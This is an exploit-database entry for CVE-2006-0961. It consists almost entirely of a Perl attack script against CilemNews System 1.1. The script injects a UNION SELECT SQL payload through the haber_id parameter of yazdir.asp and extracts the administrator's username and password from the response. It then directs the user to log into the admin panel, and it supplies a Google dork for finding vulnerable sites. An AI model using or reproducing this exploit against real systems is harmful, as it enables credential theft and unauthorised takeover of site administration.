CilemNews System <= 1.1 yazdir.asp haber_id SQL Injection Exploit

2006-03-07T00:00:00
ID EDB-ID:1562
Type exploitdb
Reporter nukedx
Modified 2006-03-07T00:00:00

Description

CilemNews System <= 1.1 (yazdir.asp haber_id) SQL Injection Exploit. CVE-2006-0961. Webapps exploit for asp platform

                                        
                                            #!/usr/bin/perl
#Method found & Exploit scripted by nukedx
#Contacts &gt; ICQ: 10072 MSN/Main: nukedx@nukedx.com web: www.nukedx.com
#Usage: cilem.pl &lt;victim&gt; &lt;directory&gt;
#Original Advisory: http://www.nukedx.com/?viewdoc=10
#googledork [ inurl:yazdir.asp?haber_id= ] 2.140 pages...
use IO::Socket;
if(@ARGV &lt; 2){
print "
+***********************************************************************+
+Welcome to CilemNews System &lt;= 1.1 (yazdir.asp haber_id) SQL-inject xpl+
+                   Usage: cilem.pl &lt;victim&gt; &lt;directory&gt;                +
+                       Example: cilem.pl sux.com /                     +
+                 googledork [ inurl:yazdir.asp?haber_id= ]             +
+                 Method found & Exploit scripted by nukedx             +
+***********************************************************************+
";
exit();
}
#Local variables
$cilemserver = $ARGV[0];
$cilemserver =~ s/(http:\/\/)//eg;
$cilemhost = "http://".$cilemserver;
$port = "80";
$cilemdir = $ARGV[1];
$cilemtar = "yazdir.asp?haber_id=";
$cilemfinal = "admin/giris.asp";
$cilemxp = "1%20union%20select%200,admin,sifre,0,0,0,0,0,0,0,0,0,0,0%20from%20ayarlar%20where%20admin=admin";
$cilemreq = $cilemhost.$cilemdir.$cilemtar.$cilemxp;
#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $cilemserver\n";
$cilem = IO::Socket::INET-&gt;new(Proto =&gt; "tcp", PeerAddr =&gt; "$cilemserver", PeerPort =&gt; "$port") || die "\n+ Connection failed...\n";
print $cilem "GET $cilemreq\n";
print $cilem "Host: $cilemserver\n";
print $cilem "Accept: */*\n";
print $cilem "Connection: close\n\n";
print "+ Connected!...\n";
while($answer = &lt;$cilem&gt;) {
if ($answer =~ /font-weight:700\"&gt;(.*?)&lt;\/b&gt;&lt;\/td&gt;/){ 
print "+ Exploit succeed! Getting admin's information.\n";
print "+ ---------------- +\n";
print "+ USERNAME: $1\n";
}
if ($answer =~ /(.*?)&lt;\/font&gt;&lt;\/td&gt;/) { 
print "+ PASSWORD: $1\n";
print "+ ---------------- +\n";
print "+ Lets go $cilemhost$cilemdir$cilemfinal and\n+ Login with this information. \n";
print "+**********************************************************************+\n";
exit(); 
}
if ($answer =~ /Internal Server Error/) {
print "+ This version of CilemNews is vulnerable too but default query of SQL-inject doesnt work on it\n";
print "+ So please edit query by manually adding or removing null datas..\n";
print "+**********************************************************************+\n";
exit(); 
}
if ($answer =~ /number of columns/) { 
print "+ This version of CilemNews is vulnerable too but default query of SQL-inject doesnt work on it\n";
print "+ So please edit query by manually adding or removing null datas..\n";
print "+**********************************************************************+\n";
exit(); 
}
}
print "+ Exploit failed :(\n";
print "+**********************************************************************+\n";

# milw0rm.com [2006-03-07]